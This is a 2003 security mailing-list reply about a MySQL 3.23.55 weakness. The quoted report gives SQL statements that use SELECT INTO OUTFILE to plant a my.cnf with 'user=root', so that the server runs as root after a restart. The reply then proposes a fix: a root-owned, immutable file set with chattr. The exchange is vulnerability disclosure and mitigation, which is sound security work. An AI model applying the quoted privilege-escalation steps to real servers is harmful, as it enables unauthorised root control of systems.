Re: MySQL user can be changed to root

[Christopher McCrory <chrismcc () pricegrabber com>]

Hello...



On Sat, 2003-03-08 at 03:58, bugsman () libero it wrote:
> Hi. I tried this on my own MySQL 3.23.55 !!!
> I found out that logging as the root user, we can change mysqld to run as root instead that i.e. mysql but this works 
> only if there's just one my.cnf file and it is locate in /etc...
> Here's how I did it...
>
> I logged in as root and than I did this:
>
> mysql>CREATE DATABASE roottext;
> mysql>USE roottext;
> mysql>CREATE TABLE hack (conf VARCHAR(80));
> mysql>INSERT IN hack VALUES ('[mysqld]');
> mysql>INSERT IN hack VALUES ('user=root');
> mysql>SELECT * INTO OUTFILE '/path/to/mysql/datadir/my.cnf' FROM hack
> mysql>QUIT
>
> Doing so we have create a my.cnf in mysql datadir containing:
>
> [mysqld]
> user=root
>
> Now, when the mysql server will be restarted, the user option in our datadit my.cnf will override the one in 
> /etc/my.cnf and mysql server will run as root, with all the security flwas that it takes...
> This is very dangerous if we think that in mysql <= 3.23.53 it is really easy to get root access due to a bug (an 
> exploit has been released publicly)...
> I dunno how this problem can be solved, I'd like to hear from you something...

Quick fix:

change ownership of ~mysql/my.cnf to (system) root
chattr +i

e.g.:

[Me@Here  /var/lib/mysql]$ sudo vi my.cnf
[Me@Here  /var/lib/mysql]$ cat my.cnf
# Empty

[Me@Here  /var/lib/mysql]$ sudo chattr +i my.cnf

[Me@Here  /var/lib/mysql]$ sudo -u mysql perl -pi -e "s#Empty# Mine#"
my.cnf
Can't remove my.cnf: Operation not permitted, skipping file.

[Me@Here  /var/lib/mysql]$ cat my.cnf
# Empty

[Me@Here  /var/lib/mysql]$ ls -la
total 28
drwxr-xr-x    3 mysql    mysql        4096 Mar  9 17:43 .
drwxr-xr-x   18 root     root         4096 Nov 16 18:24 ..
-rw-r--r--    1 root     root            8 Mar  9 17:42 my.cnf





> Thanks.... :)
> by
> Gufino
-- 
Christopher McCrory
 "The guy that keeps the servers running"
 
chrismcc () pricegrabber com
 http://www.pricegrabber.com
 
Let's face it, there's no Hollow Earth, no robots, and
no 'mute rays.' And even if there were, waxed paper is
no defense.  I tried it.  Only tinfoil works.